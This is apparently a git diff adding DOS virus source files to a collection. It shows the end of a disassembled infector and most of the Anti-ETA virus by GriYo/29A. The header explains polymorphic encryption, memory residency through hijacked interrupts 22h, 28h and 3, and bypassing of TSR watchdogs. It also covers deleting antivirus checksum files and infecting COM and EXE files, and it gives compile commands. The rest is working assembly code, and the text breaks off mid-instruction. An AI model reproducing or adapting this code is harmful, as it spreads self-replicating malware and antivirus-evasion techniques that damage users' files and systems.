+anticst endp + +; +; SUBROUTINE +; + +sub_1 proc near + mov dx,10h + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov dx,11Fh + mov cx,110Bh + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + mov dx,2Eh + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov ah,41h ; 'A' + int 21h ; DOS Services ah=function 41h + ; delete file, name @ ds:dx + mov cx,[si+16h] + add cx,[si+8] + mov ax,10h + mul cx ; dx:ax = reg * ax + add ax,[si+14h] + adc dx,0 + push dx + push ax + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_4 + cmp dx,0 + jne loc_13 ; Jump if not equal + cmp ax,3F0h + jae loc_13 ; Jump if above or = + pop ax + pop dx + stc ; Set carry flag + ret +loc_13: + mov di,ax + mov bp,dx + pop cx + sub ax,cx + pop cx + sbb dx,cx + cmp word ptr [si+0Ch],0 + je loc_ret_16 ; Jump if equal + cmp dx,0 + jne loc_14 ; Jump if not equal + cmp ax,3F0h + jne loc_14 ; Jump if not equal + stc ; Set carry flag + ret +loc_14: + mov dx,bp + mov ax,di + push dx + push ax + add ax,3F0h + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + les di,dword ptr [si+2] ; Load 32 bit ptr + mov cs:data_25,di ; (701E:012B=0) + mov cs:data_26,es ; (701E:012D=0) + mov [si+2],dx + cmp dx,0 + je loc_15 ; Jump if equal + inc ax +loc_15: + mov [si+4],ax + pop ax + pop dx + call sub_2 + sub ax,[si+8] + les di,dword ptr [si+14h] ; Load 32 bit ptr + mov data_19,di ; (701E:011B=0C3C3h) + mov data_20,es ; (701E:011D=0C3C3h) + mov [si+14h],dx + mov [si+16h],ax + mov data_22,ax ; (701E:0125=0) + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_4 + call sub_3 + jc loc_ret_16 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_4 + mov ah,40h ; '@' + mov dx,si + mov cx,18h + call sub_4 + +loc_ret_16: + ret +sub_1 endp + + +; +; SUBROUTINE +; + +sub_2 proc near + mov cx,4 + mov di,ax + and di,0Fh + +locloop_17: + shr dx,1 ; Shift w/zeros fill + rcr ax,1 ; Rotate thru carry + loop locloop_17 ; Loop if cx > 0 + + mov dx,di + ret +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + mov ah,40h ; '@' + mov cx,3F0h + mov dx,100h + call sub_5 + jmp short loc_18 + db 90h + +; External Entry into Subroutine + +sub_4: +loc_18: + pushf ; Push flags + call cs:data_27 ; (701E:012F=0) + ret +sub_3 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr ds:data_5e ; (0000:0090=18Eh) Load 32 bit ptr + mov cs:data_28,ax ; (701E:0133=0) + mov cs:data_29,es ; (701E:0135=0) + mov ax,35Eh + mov ds:data_5e,ax ; (0000:0090=18Eh) + mov ds:data_6e,cs ; (0000:0092=1498h) + les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr + mov cs:data_31,ax ; (701E:013B=0) + mov cs:data_32,es ; (701E:013D=0) + les ax,cs:data_30 ; (701E:0137=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=831h) + mov ds:data_2e,es ; (0000:004E=70h) + sti ; Enable interrupts + pop es + pop ds + pop ax + ret +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr cs:data_28 ; (701E:0133=0) Load 32 bit ptr + mov ds:data_5e,ax ; (0000:0090=18Eh) + mov ds:data_6e,es ; (0000:0092=1498h) + les ax,dword ptr cs:data_31 ; (701E:013B=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=831h) + mov ds:data_2e,es ; (0000:004E=70h) + sti ; Enable interrupts + pop es + pop ds + pop ax + ret +sub_6 endp + + db 0B0h, 3, 0CFh + +; +; SUBROUTINE +; + +sub_7 proc near + mov dx,10h + mul dx ; dx:ax = reg * ax + ret +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + xor ax,ax ; Zero register + xor bx,bx ; Zero register + xor cx,cx ; Zero register + xor dx,dx ; Zero register + xor si,si ; Zero register + xor di,di ; Zero register + xor bp,bp ; Zero register + ret +sub_8 endp + + db 1Eh, 0E8h, 0, 0 + +; +; SUBROUTINE +; + +sub_9 proc near + mov ax,4B4Dh + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + jc loc_19 ; Jump if carry Set + jmp loc_29 +loc_19: + pop si + push si + mov di,si + xor ax,ax ; Zero register + push ax + pop ds + les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr + mov cs:data_40e[si],ax ; (701E:FDBD=0) + mov cs:data_41e[si],es ; (701E:FDBF=0) + les bx,dword ptr ds:data_3e ; (0000:0084=6E3h) Load 32 bit ptr + mov cs:data_38e[di],bx ; (701E:FDB5=0) + mov cs:data_39e[di],es ; (701E:FDB7=0) + mov ax,ds:data_7e ; (0000:0102=0CC00h) + cmp ax,0F000h + jne loc_27 ; Jump if not equal + mov dl,80h + mov ax,ds:data_8e ; (0000:0106=326h) + cmp ax,0F000h + je loc_20 ; Jump if equal + cmp ah,0C8h + jb loc_27 ; Jump if below + cmp ah,0F4h + jae loc_27 ; Jump if above or = + test al,7Fh + jnz loc_27 ; Jump if not zero + mov ds,ax + cmp word ptr ds:data_10e,0AA55h ; (0326:0000=6A7h) + jne loc_27 ; Jump if not equal + mov dl,ds:data_11e ; (0326:0002=70h) +loc_20: + mov ds,ax + xor dh,dh ; Zero register + mov cl,9 + shl dx,cl ; Shift w/zeros fill + mov cx,dx + xor si,si ; Zero register + +locloop_21: + lodsw ; String [si] to ax + cmp ax,0FA80h + jne loc_22 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7380h + je loc_23 ; Jump if equal + jnz loc_24 ; Jump if not zero +loc_22: + cmp ax,0C2F6h + jne loc_25 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7580h + jne loc_24 ; Jump if not equal +loc_23: + inc si + lodsw ; String [si] to ax + cmp ax,40CDh + je loc_26 ; Jump if equal + sub si,3 +loc_24: + dec si + dec si +loc_25: + dec si + loop locloop_21 ; Loop if cx > 0 + + jmp short loc_27 +loc_26: + sub si,7 + mov cs:data_40e[di],si ; (701E:FDBD=0) + mov cs:data_41e[di],ds ; (701E:FDBF=0) +loc_27: + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + mov es,bx + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov bx,0FFFFh + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + sub bx,41h + nop + jc loc_29 ; Jump if carry Set + mov cx,es + stc ; Set carry flag + adc cx,bx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov bx,40h + stc ; Set carry flag + sbb es:data_14e,bx ; (06E3:0002=2342h) + push es + mov es,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:data_13e,8 ; (06A1:0001=6220h) + call sub_7 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call sub_7 + add ax,ds:data_15e ; (06E3:0006=2344h) + adc dx,0 + sub ax,bx + sbb dx,cx + jc loc_28 ; Jump if carry Set + sub ds:data_15e,ax ; (06E3:0006=2344h) +loc_28: + mov si,di + xor di,di ; Zero register + push cs + pop ds + sub si,27Ah + mov cx,3F0h + inc cx + rep movsb ; Rep while cx>0 Mov [si] to es:[di] + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + dec bx + mov ds,bx + mov byte ptr ds:data_12e,5Ah ; (06A0:0000=65h) 'Z' + mov dx,140h + xor ax,ax ; Zero register + push ax + pop ds + mov ax,es + sub ax,10h + mov es,ax + cli ; Disable interrupts + mov ds:data_3e,dx ; (0000:0084=6E3h) + mov ds:data_4e,es ; (0000:0086=161Ah) + sti ; Enable interrupts + dec byte ptr ds:data_9e ; (0000:047B=0) +loc_29: + pop si + cmp word ptr cs:data_33e[si],5A4Dh ; (701E:FD89=0) + jne loc_30 ; Jump if not equal + pop ds + mov ax,cs:data_37e[si] ; (701E:FDAB=0) + mov bx,cs:data_36e[si] ; (701E:FDA3=0) + push cs + pop cx + sub cx,ax + add cx,bx + push cx + push word ptr cs:data_35e[si] ; (701E:FDA1=0) + push ds + pop es + call sub_8 + ret ; Return far +loc_30: + pop ax + mov ax,cs:data_33e[si] ; (701E:FD89=0) + mov cs:data_16,ax ; (701E:0100=73E9h) + mov ax,cs:data_34e[si] ; (701E:FD8B=0) + mov cs:data_17,ax ; (701E:0102=0C302h) + mov ax,100h + push ax + push cs + pop ds + push ds + pop es + call sub_8 + ret +sub_9 endp + + +code_seg_a ends + + + + end start diff --git a/a/ANTIETA.ASM b/a/ANTIETA.ASM new file mode 100755 index 0000000..7313e04 --- /dev/null +++ b/a/ANTIETA.ASM @@ -0,0 +1,2305 @@ +; +; +; Anti-ETA +; by GriYo/29A +; +; +; +; Introduction +; +; This virus is an iniciative of Mister Sandman (writing this right now) and +; GriYo, supported by the rest of the 29Aers and finally written by GriYo. +; +; Espaa (Spain in english) is a country that emerged and took its final and +; actual form during the first years of the XVIth century. It was born from +; the conjunction of many other kingdoms/independent countries (ie Aragn, +; Catalunya, Galicia, Euskadi, and the most important, Castilla) which lived +; (and fought) together in the actual spanish territory. This final union +; was possible by means of marriages between princes and princesses of these +; kingdoms, pacts, and, of course, wars -which became conquests-. +; +; Today, about four centuries later, a very little minority living in Euska- +; di (right now, one of the seventeen provinces in Spain) claim for their +; independence by means of violence. They don't hesitate on placing bombs in +; big stores, streets, cars, etc. thus causing the death of innocent people, +; or on killing policemen, politicians or anybody who just don't thinks the +; way they do. +; +; Luckily, many of these motherfuckers are arrested and put in prison far +; away from their home. Anyway, this has also become a problem, as they want +; to stay only in euskadian prisons, in order to be able to keep in contact +; with their family. This fact drove them to, apart from do more killings, +; kidnap an innocent young jailer, called Jos Antonio Ortega Lara. +; +; They didn't ask for money. He was put underground in a very tiny and empty +; room, without any light, without any way to know when it dawns or when it +; gets dark, with very few oxygen to breath, with only some food every four +; days, served in the same receptacle where he had to shit and urinate. This +; is... without anything to do... except of waiting to be freed, and hoping +; that all the psychic tortures he was going submitted to were going to have +; an end some day. +; +; Happily, the spanish police found and freed him 532 days later. He had a +; long barb and 27kg less of his normal weight. But he eventually was able +; to see the light and walk (even talk) again. Today, Jos Ortega Lara is +; still under psychical attention, carrying a normal life again. +; +; However, the reason to be of this virus takes place a few days later, when +; the euskadian violent-independentist group kidnapped Miguel Angel Blanco, +; a politician from a small town called Ermua, and threatened to kill him +; unless the spanish goverment would allow the approaching of the arrested +; terrorists to Euskadi in a 48-hour deadline. Since this was made public, +; millions of people went out to the street in order to show their inconfor- +; mity with this cruel way of acting. +; +; Sadly, none of the mass meetings which collapsed the whole Spain for 48 +; hours were enough, and Miguel Angel Blanco, the 28 year-old politician, +; was eventually killed by one of these terrorists by means of two bullets +; shot in his head. +; +; The name of this euskadian terrorist group is ETA, hence the name of this +; virus, Anti-ETA, offered as a homage to all the families which were vic- +; tims of the violent way of acting of these independentists, and especially +; to Jos Antonio Ortega Lara and Miguel Angel Blanco Garrido (RIP). +; +; 29A against terrorism, +; the 29A staff. +; +; +; Virus behavior +; +;  Code executed when an infected file is run: +; +; - Polymorphic decryptor +; - CPU type check routine +; - Installation check +; - COMMAND.COM segment prefix search +; - Host allocated conventional memory reduction +; - Conventional memory order for installation +; - COMMAND.COM segment prefix activation as current PSP (this +; context change allows Anti-ETA to perform memory allocation +; calls without warning a good bunch of TSR watchdogs +; - Interrupt 22h hooking into host PSP (without modifying IVT) +; - Control return to host +; +;  Tasks performed by the int 22h handler: +; +; - Code decryption +; - Interrupt 3 (breakpoint) vector saving +; - Interrupt 3 hooking with the virus handler +; - Interrupt 28h (DOS idle interrupt that points to an iret +; instruction by default) vector order +; - First byte of current int 28h handler storing, instead of +; an int 3 instruction +; - Jump to the original int 22h +; +; Every time in which COMMAND.COM calls its idle interrupt, a +; breakpoint instruction gives the control to the interrupt 3 +; handler, owned by Anti-ETA. This handler will count the +; number of calls until it determines that it's safe to hook +; interrupt 21h. I stole the idea on using int 28h in such a +; way from Rhincewind (see Catch22 TSR loader), but this +; approach is much more enhanced ;) +; +;  Code executed from the idle interrupt: +; +; - Another decryption loop performance +; - First int 28h byte restoring +; - Interrupt 3 vector restoring +; - Virus body move to another memory block (including UMBs) +; - Old memory block release +; - Interrupt 21h hooking +; +; Encryption +; +; The main polymorphic decryptor receives the control when an infected file +; file is executed. On program termination, the virus int 22h handler recei- +; ves the control and decrypts the whole Anti-ETA body using the decryptor +; code as key. Another decryptor appears when execution reaches virus' int 3 +; handler from the previously redirected idle interrupt. +; +; Infection and activation routines are also encrypted in memory (using a +; random cipher key each time) and their code will be decrypted on the fly +; when necessary. +; +; +; Polymorphism +; +; Anti-ETA is polymorphic in EXE and COM files, as well as in the COM files +; it sometimes may drop after having been called function 3bh of int 21h. +; +; +; File infection +; +; When any file is executed, Anti-ETA just stores the file name and infects +; it upon termination, and same for open/close functions. +; +; Every time the virus modifies any file, ANTI-VIR.DAT and CHKLIST.MS will +; be deleted (if they exist) in order to avoid getting caught by any kind of +; integrity checker. +; +; While infecting files, Anti-ETA uses standard DOS calls, checking for +; errors after each of them and without using any system file table (looking +; for some network compatibility). +; +; The virus tries to find the original int 21h entry point (using the 52h +; function backdoor), and uses it in all the file infection routines, thus +; bypassing many TSR watchdogs. +; +; Finally, the int 3 vector is redirected to the original int 21h EP, and +; Anti-ETA uses an int 3 instruction (only 1 byte) when calling any DOS +; function for infection. +; +; +; Retro functions +; +; Checksum files ANTI-VIR.DAT and CHKLIST.MS are deleted from every directo- +; ry where a file is going to be infected. Apart from this, the virus con- +; tains some antidebugging code. +; +; +; Activation routines +; +; On every call to the int 21h function 3bh (set current directory), the vi- +; rus will sometimes drop an infected COM file, with a random name and a +; random date/time stamp). Its size will be also random due to the polymor- +; phic encryption... and... btw, Anti-ETA will not infect its sons, just be- +; cause they're too small ;) +; +; The main payload effect triggers every july 10th (the date in which Miguel +; Angel Blanco was kidnapped), displaying a graphic that consists on a whi- +; te hand in which reads "Anti-ETA". The white hand is the symbol which we +; use in Spain to tell ETA "STOP THE KILLING!". +; +; +; Greetings +; +; This time, very special greetings go from the 29A staff to all the victims +; of ETA, hoping this will have an end some day in the future. +; +; +; Compiling it +; +; tasm /m anti-eta.asm +; tlink anti-eta.obj + + +anti_eta segment + .386 + assume cs:anti_eta,ds:anti_eta,es:anti_eta,ss:anti_eta + org 0000h + +;Ŀ +; Some useful equates +; + +mem_byte_size equ offset virus_mem_end - offset entry_point +mem_para_size equ (mem_byte_size+000Fh)/0010h +inf_byte_size equ offset virus_inf_end - offset entry_point +inf_para_size equ (inf_byte_size+000Fh)/0010h +byte_area01h equ offset end_area01h - offset crypt_area01h +byte_area02h equ offset end_area02h - offset crypt_area02h +byte_area03h equ offset end_area03h - offset crypt_area03h + +;Ŀ +; Virus entry point for all targets (COM and EXE files) +; + +entry_point: push ds ; Save segment regs + push es + db 0BDh ; Get delta +delta: dw 0000h ; (mov bp,nnnn) + push cs ; Point DS to + pop ds ; our code + cli ; Check for 386+ + pushf ; CPU + pop ax + or ax,2000h + push ax + popf + pushf + pop ax + sti + test ax,2000h ; Exit if 286 + jz exit_install ; or below + mov esi,"ANTI" + mov ah,30h ; Get DOS version + int 21h ; and perform + cmp esi,"ETA!" ; installation + je exit_install ; check + cmp al,05h ; MS-DOS 5.0+ + jb exit_install ; check + + ; I found a problem using this method of residency + ; when the virus tries to go resident while a copy + ; of itself is waiting for enough DOS idle time. + ; + ; Fix: + ; + ; The virus can check if another copy of itself is + ; using the DOS idle interrupt. Just check for a + ; breakpoint in the first byte of int 28h. + + mov ax,3528h ; Get int 28h + int 21h ; vector + cmp byte ptr es:[bx],0CCh ; int 3? + je exit_install ; Yes, abort + mov ah,62h ; Get and save + int 21h ; active PSP + mov es,bx ; ES:SI -> host PSP + xor si,si + mov dx,bx ; Always DW=host PSP + + ; A new problem appears when an infected program + ; executes another file which is also infected. + ; + ; Fix: + ; + ; Get parent PSP and check the name of the MCB + ; behind. Go resident only if the command inter- + ; preter is the parent of the infected host. + + mov ax,word ptr es:[si+16h] ; Get parent PSP + mov di,ax + dec ax ; Get parent MCB + mov es,ax + cmp dword ptr es:[si+08h],"MMOC" ; Check name in MCB + jne exit_install + mov es,dx ; Get host PSP + mov ah,4Ah ; Get free memory + push ax + mov bx,0FFFFh + int 21h + pop ax + sub bx,mem_para_size+01h ; Sub some memory + int 21h ; for our code + jc exit_install + mov bx,di + mov ah,50h ; Activate command + int 21h ; PSP + jc exit_install + mov ah,48h ; Ask for memory + mov bx,mem_para_size + int 21h + mov es,ax ; Copy virus to + call move_virus ; allocated memory + push ds + mov ds,dx + xor si,si ; DS:SI -> host PSP + mov eax,dword ptr ds:[si+0Ah] ; Get int 22h vector, + mov dword ptr es:[old22h],eax ; save it and point + mov word ptr ds:[si+0Ah],offset my22h ; to our handle + mov word ptr ds:[si+0Ch],es + pop ds + mov bx,dx + mov ah,50h ; Now set host PSP + int 21h ; as current PSP + +exit_install: mov eax,dword ptr ds:[bp+host_type] + cmp eax,".COM" ; Is it a COM host? + je exit_com + cmp eax,".EXE" ; An EXE host? + je exit_exe + +;Ŀ +; Exit for 1st virus generation +; + +exit_launcher: pop es ; Exit virus launcher + pop ds ; Restore segment + mov ax,4C00h ; regs and call to + int 21h ; terminate prog + +;Ŀ +; Exit from a COM file +; + +exit_com: mov eax,dword ptr ds:[bp+old_header] ; Restore first + mov dword ptr ds:[0100h],eax ; four bytes + pop es ; Restore segments + pop ds + push cs ; Save return address + push 0100h + xor ax,ax ; Clear some regs + mov bx,ax + mov cx,ax + mov dx,ax + mov si,ax + mov di,ax + mov bp,ax + retf + +;Ŀ +; Exit from an EXE file +; + +exit_exe: mov ah,62h ; Get active PSP + int 21h + add bx,0010h ; Calculate host CS + add word ptr ds:[bp+exe_ip_cs+02h],bx + add bx,word ptr ds:[bp+old_header+0Eh] ; Calculate host SS + pop es ; Restore segments + pop ds + cli ; Fix program stack + mov ss,bx + mov sp,word ptr cs:[bp+old_header+10h] + sti + xor ax,ax ; Clear some regs + mov bx,ax + mov cx,ax + mov dx,ax + mov si,ax + mov di,ax + mov bp,ax + db 0EBh,00h ; Clear prefetch + db 0EAh ; Get control back +exe_ip_cs dd 00000000h ; to host + +;Ŀ +; Move virus code to another memory location +; On entry: +; DS:BP -> current location +; ES -> new segment location +; + +move_virus: sub di,di + mov si,bp + mov cx,inf_byte_size + cld + rep movsb + ret + +;Ŀ +; Insert/remove breakpoint into/from int 28h handler code (DOS idle) +; + +xchg28h: push di + push es + cli + les di,dword ptr cs:[old28h] ; Xchg int 28h + mov al,byte ptr es:[di] ; first byte + xchg al,byte ptr cs:[breakpoint] ; with out buffer + stosb + sti + pop es + pop di + ret + +;Ŀ +; Some code and data out of all the sub-decryptors +; + +old03h dd 00000000h ; Int 3 vector +crypt_leave21h: db 0EBh,00h ; Clear prefetch + db 0EAh ; Get control back +old21h dd 00000000h ; to original int 21h +orig21h dd 00000000h ; DOS entry point +crypt_leave22h: db 0EBh,00h ; Clear prefetch + db 0EAh ; Get control back +old22h dd 00000000h ; to original int 22h +old24h dd 00000000h ; Critical error +old28h dd 00000000h ; to original int 28h +breakpoint db 00h ; Int 28h 1st byte +host_type dd "CEPA" ; File type +crypt_delta dw 0000h ; Delta for decryptor + +;Ŀ +; Crypt/decrypt area 01h +; On entry: +; DS -> area 01h segment to crypt/decrypt +; + +crypto01h: push bx + push es + push ds + pop es + mov si,word ptr cs:[crypt_delta] + add si,offset crypt_area01h + mov di,si + mov bx,offset crypto01h + mov cx,(byte_area01h+01h)/02h + cld +crypt_loop01h: lodsw + push ax + pop dx + cli + mov ax,0002h ; Simple stack + sub sp,ax ; verification + sti + pop ax + cmp ax,dx + jne crypt_loop01h ; Fool tracing + xor ax,word ptr cs:[bx] ; Use our code as key + stosw ; to avoid + inc bx ; modifications + cmp bx,offset exit_crypt01h + jne continue01h + mov bx,offset crypto01h +continue01h: loop crypt_loop01h + pop es + pop bx +exit_crypt01h: ret + +;Ŀ +; Virus int 22h handler +; + +my22h: push cs ; Point DS to + pop ds ; virus code + mov word ptr ds:[crypt_delta],0000h ; Clear delta crypt + mov eax,dword ptr ds:[host_type] ; Launcher doesn't + cmp eax,"CEPA" ; need decryption + je skip_area01h + call crypto01h ; Do decryption +crypt_area01h equ this byte +skip_area01h: db 0EBh,00h ; Clear prefetch + mov al,03h ; Save old int 3 + call get_int ; vector + mov word ptr ds:[old03h],bx + mov word ptr ds:[old03h+02h],es ; Hook int 3 to + mov dx,offset my03h ; our int 21h + call set_int ; Hooking routine + mov al,28h ; Save int 28h + call get_int ; vector and + mov word ptr ds:[old28h],bx ; insert an int 3 + mov word ptr ds:[old28h+02h],es ; instruction over + mov byte ptr ds:[breakpoint],0CCh ; the handler code + call xchg28h +exit22h: jmp crypt_leave22h + +;Ŀ +; Crypt/decrypt area 02h +; On entry: +; DS -> segment of area 02h to crypt/decrypt +; + +crypto02h: push es + push ds + pop es + mov si,word ptr cs:[crypt_delta] + add si,offset crypt_area02h + mov di,si + mov cx,(byte_area02h+02h)/02h + cld +crypt_loop02h: lodsw + xchg ah,al + stosw + loop crypt_loop02h + pop es + ret + +;Ŀ +; Virus int 3 handler (called on every int 28h call) +; + +my03h: call push_all ; Save all regs + push cs ; Point DS to + pop ds ; virus code + mov eax,dword ptr ds:[host_type] ; Launcher doesn't + cmp eax,"CEPA" ; need decryption + je skip_area02h + call crypto02h ; Do decryption + db 0EBh,00h ; Clear prefetch +skip_area02h: call xchg28h ; Remove breakpoint + mov si,mem_para_size ; Allocate memory + call mem_alloc + or di,di ; Exit if error + jz cant_move_it ; on mem allocation + push di + mov es,di ; Copy virus to + sub bp,bp ; memory + call move_virus ; Continue execution + push offset continue_here ; at newly allocated + retf ; memory block +continue_here: mov ah,49h ; Free old virus + push ds ; memory + pop es + int 21h +cant_move_it: mov al,03h ; Restore int 3 + lds dx,dword ptr cs:[old03h] + call set_int + push cs + pop ds + mov ax,3521h ; Get and save + int 21h ; current int 21h + mov word ptr ds:[old21h],bx + mov word ptr ds:[old21h+02h],es + mov word ptr ds:[orig21h],bx + mov word ptr ds:[orig21h+02h],es + mov ah,52h ; Use this backdoor + int 21h ; to get int 21h + mov bx,109Eh ; kernel entry point + cmp word ptr es:[bx],9090h + jne no_backdoor + cmp byte ptr es:[bx+02h],0E8h + jne no_backdoor + cmp word ptr es:[bx+05h],0FF2Eh + jne no_backdoor + mov word ptr ds:[orig21h],bx + mov word ptr ds:[orig21h+02h],es + + ; Function 52h (get ptr to dos info block) returns + ; in ES the segment of the DOS entry point. Offset + ; seems to be always 109eh in lots of machines. + ; + ; Anti-ETA will check if the code looks like: + ; + ; nop -> 90h + ; nop -> 90h + ; call xxxx -> E8h xx xx + ; jmp dword ptr cs:[yyyy] -> 2Eh FFh 2Eh yy yy + +no_backdoor: mov eax,dword ptr ds:[host_type] ; Launcher needs + cmp eax,"CEPA" ; encryption + jne skip_area03h + call crypto03h +skip_area03h: mov ax,2521h ; Point int 21h + mov dx,offset my21h ; to our handler + int 21h +exit03h: call pop_all ; Restore saved regs + pushf + call dword ptr cs:[old28h] + cli ; Fix stack + add sp,0006h ; and return to + sti ; int 28h caller + iret +;Ŀ +; Do encryption over area 03h (int 21h code) +; On entry: +; DS -> segment of area 03h to crypt/decrypt +; + +crypt_area02h equ this byte +crypto03h: db 0EBh,00h ; Clear prefetch + push si ; Save some + push di ; regs and + push es ; perform +short_way: push ds ; encryption + pop es ; using add + mov si,word ptr cs:[crypt_delta] ; instruction + add si,offset crypt_area03h + mov di,si + mov cx,(byte_area03h+01h)/02h + cld + db 0EBh,00h ; Clear prefetch +crypt_loop03h: lodsw + db 05h ; add ax,xxxx +crypt21h_key dw 029Ah + stosw + loop crypt_loop03h + pop es + pop di + pop si + ret + +;Ŀ +; Decrypt virus int 21h code if needed +; + +rm_crypt21h: mov ax,cs ; Remove int 21h + mov ds,ax ; encryption + mov es,ax ; using sub + mov si,offset crypt_area03h ; instruction + mov di,si + mov cx,(byte_area03h+01h)/02h + cld + db 0EBh,00h ; Clear prefetch +clear21h: lodsw + db 2Dh ; sub ax,xxxx +decrypt21h_key dw 029Ah + stosw + loop clear21h + call rand_16 + mov word ptr ds:[crypt21h_key],ax ; Get random key + mov word ptr ds:[decrypt21h_key],ax + ret + +;Ŀ +; Virus int 21h handler +; + +my21h: cmp ah,30h ; Install check? + je install_check + cmp ah,3Bh ; Change directory + jne try_get_name + call push_all ; Save all regs + call rm_crypt21h ; Remove encryption + jmp try_activation +try_get_name: cmp ax,4B00h ; Execution? + je work_filename + cmp ah,3Dh ; Open? + je work_filename + cmp ah,6Ch ; Extended open? + jne try_infection +work_filename: call push_all ; Save all regs + call rm_crypt21h ; Remove encryption + call pop_all ; Restore regs + call push_all ; and save them again + jmp store_filename ; Copy filename +try_infection: cmp ax,4C00h ; Terminate? + je work_infection + cmp ah,3Eh + jne forget_this +work_infection: call push_all ; Save all regs + call rm_crypt21h ; Remove encryption + call pop_all ; Restore regs + call push_all ; and save them again + jmp infect_program +forget_this: jmp crypt_leave21h +exit21h: push cs ; Redo encryption + pop ds ; before leaving + call crypto03h + call pop_all ; Restore regs + jmp crypt_leave21h + +;Ŀ +; Perform a call to the original int 21h vector +; + +call21h: pushf ; Perform a call to + call dword ptr cs:[orig21h] ; the interrupt 21h + retf 02h + +;Ŀ +; Installation check +; + +install_check: cmp esi,"ANTI" ; Is it our check? + je reponde_cabron + jmp crypt_leave21h +reponde_cabron: pushf ; Interrupt 21h + call dword ptr cs:[old21h] + mov esi,"ETA!" ; I am here!!! + iret + +;Ŀ +; Store name of the file to execute +; + +crypt_area03h equ this byte +store_filename: db 0EBh,00h ; Clear prefetch + cmp ah,6Ch ; Extended open? + je is_extended + mov si,dx +is_extended: push cs + pop es + cmp ah,4Bh ; Execute? + jne use_openbuff + mov di,offset exec_filename ; File to execute + jmp ok_buff_off +use_openbuff: mov di,offset open_filename ; File to open +ok_buff_off: push di + mov ah,60h ; Get complete + int 21h ; filename + push cs + pop ds + call hook_24h_03h + pop si + mov dx,offset del_this_shit01 ; Delete Thunderbyte + call delete_file ; ANTI-VIR.DAT files + mov dx,offset del_this_shit02 ; And CHKLIST.MS shit + call delete_file + call free_24h_03h + jmp exit21h + +;Ŀ +; File infection +; + +infect_program: db 0EBh,00h ; Clear prefetch + push cs + pop ds + call hook_24h_03h + cmp ah,4Ch ; Terminate? + jne infect_close + mov si,offset exec_filename ; Filename off to SI + jmp ok_infect_off +infect_close: mov si,offset open_filename ; Filename off to SI +ok_infect_off: mov ah,19h ; Get current drive + int 03h + add al,"A" + cmp byte ptr ds:[si],al ; Infect files only + jne exit_inf ; in current drive + mov bx,si ; Position of \ + mov dx,si ; For later use + mov cx,0080h ; Max path + cld +next_char: lodsb ; Get character + cmp al,"\" + je found_slash + or al,al ; End of string? + je found_00h + cmp al,"V" ; Is char a V? + je exit_inf + cmp al,"0" ; Is char a digit? + jb ok_character + cmp al,"9" + jbe exit_inf +ok_character: loop next_char + jmp short exit_inf +found_slash: mov bx,si + jmp short ok_character +found_00h: mov eax,dword ptr ds:[bx] ; Get file name + cmp ax,"BT" ; Thunderbyte utils? + je exit_inf + cmp eax,"NACS" ; SCAN.EXE? + je exit_inf + cmp eax,".NIW" ; WIN.COM? + je exit_inf + cmp eax,"MMOC" ; COMMAND.COM? + je exit_inf + mov eax,dword ptr ds:[si-05h] ; Get extension + cmp eax,"MOC." ; Is it a COM file? + je go_into_file + cmp eax,"EXE." ; What about EXE? + je go_into_file +exit_inf: call free_24h_03h ; Restore ints + jmp exit21h ; 3, 24h and exit +go_into_file: mov ax,4300h ; Get file attrib + int 03h + jc exit_inf + mov word ptr ds:[file_attr],cx ; Save it + mov ax,4301h ; Clear attributes + xor cx,cx + int 03h + jc exit_inf + mov ax,3D02h ; Open file r/w + int 03h + jnc save_date_time +file_error_1: mov ax,4301h ; Restore saved + mov cx,word ptr ds:[file_attr] ; file attribute + int 03h + jmp short exit_inf +save_date_time: xchg bx,ax ; Get handle + mov ax,5700h ; Get date/time + int 03h + jnc done_date_time +file_error_2: mov ah,3Eh ; If error, close + int 03h ; file and restore + jmp short file_error_1 ; attribute +done_date_time: mov word ptr ds:[file_time],cx ; Save file time + mov word ptr ds:[file_date],dx ; Save file date + and cl,1Fh ; Check if file is + cmp cl,0Ah ; already infected + je file_error_3 + mov ah,3Fh ; Read file header + mov cx,001Ch + mov dx,offset inf_header + mov si,dx + int 03h + jc file_error_3 + call seek_end ; Seek to EOF and + jc file_error_3 ; get file size + mov ax,word ptr ds:[file_size] + mov dx,word ptr ds:[file_size+02h] + or dx,dx + jnz ok_min_size + cmp ax,inf_byte_size ; Too small file? + jb file_error_3 +ok_min_size: mov ax,word ptr ds:[si] + add al,ah + cmp al,"M"+"Z" + je inf_exe_file + jmp inf_com_file +file_error_3: mov ax,5701h + mov 